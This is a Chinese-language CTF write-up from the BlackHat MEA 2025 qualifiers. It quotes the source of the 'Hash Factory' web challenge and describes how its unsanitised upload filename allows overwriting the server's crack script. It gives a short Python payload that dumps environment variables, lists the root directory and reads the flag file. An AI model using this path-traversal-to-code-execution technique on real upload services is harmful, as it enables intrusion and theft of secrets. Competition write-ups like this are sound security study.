Skip to content

BlackHat MEA CTF 2025 quals

Fight as a member@*0xA

瞪眼出了一道Web(然而回来就看到done already),帮忙优化了一题web,然后choke死在取证了。

  • 以乘哥太强了,老一辈Web手的从容.jpg
  • *0xA其他佬太强了,最后差我一题ak = =,虽然也不能完全算我的问题就是了×

Web

Hash Factory

from flask import Flask, request
from pathlib import Path
from subprocess import check_output

app = Flask(__name__)

hashes = Path.cwd() / 'hashes'
hashes.mkdir()

base = '<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@picocss/pico@2/css/pico.min.css" /><div style="width:48rem;margin:2rem auto;">%s</div>'

@app.route('/', methods=["GET", "POST"])
def index():
    hash_file = request.files.get('hash_file')

    if not hash_file:
        return base % '''<p>hash_factory v1.0: u must pass the hash file!</p>
<form method="POST" enctype="multipart/form-data">
    <input type="file" name="hash_file" />
    <input type="submit" value="pass the hash" />
</form>'''

    hash_file.save(path := hashes / hash_file.filename)
    crack_results = check_output(["/app/crack", path], text=True)
    path.unlink()

    return base % ("<pre>" + crack_results + "</pre>")
EOF

# lo and behold! this is our crack station. it's so powerful
# it can crack numbers so high up beyond imagination! it can
# crack from 0 all the way to 1337. unbelievable, i told ya!
RUN cat <<EOF > crack
#!/app/.venv/bin/python
import sys, hashlib

md5 = lambda x: hashlib.md5(x.encode().strip()).hexdigest()

hashes_cracked = hashes = 0
print("hash_factory v1.0:")
try:
    for line in open(sys.argv[1], 'r', encoding="utf-8"):
        line = line.strip()

        # we only crack hashes here 
        if len(line) != len(md5('')):
            continue

        hashes += 1
        cracked = i = 0
        for hash in map(md5, map(str, range(1338))):
            if line == hash:
                print(f'{line}:{i}')
                cracked = 1; hashes_cracked += 1; break
            i += 1
        if not cracked:
            print(f'{line}:-')
    print(f"\ncracked {hashes_cracked}/{hashes}")
except Exception as ex:
    print(ex)

很简单的逻辑,覆盖../crack,只能打一次,后面就销毁了。

import os
print(os.popen('env; ls -a /; cat /F*').read())

发一个包done

Misc

multiverse

有点混乱的取证,主办并非人类,做着题推到核心步骤要连接远程,结果远程爆了8+ hours,最后都没能修复,导致我以为这是错误的方向。

alt text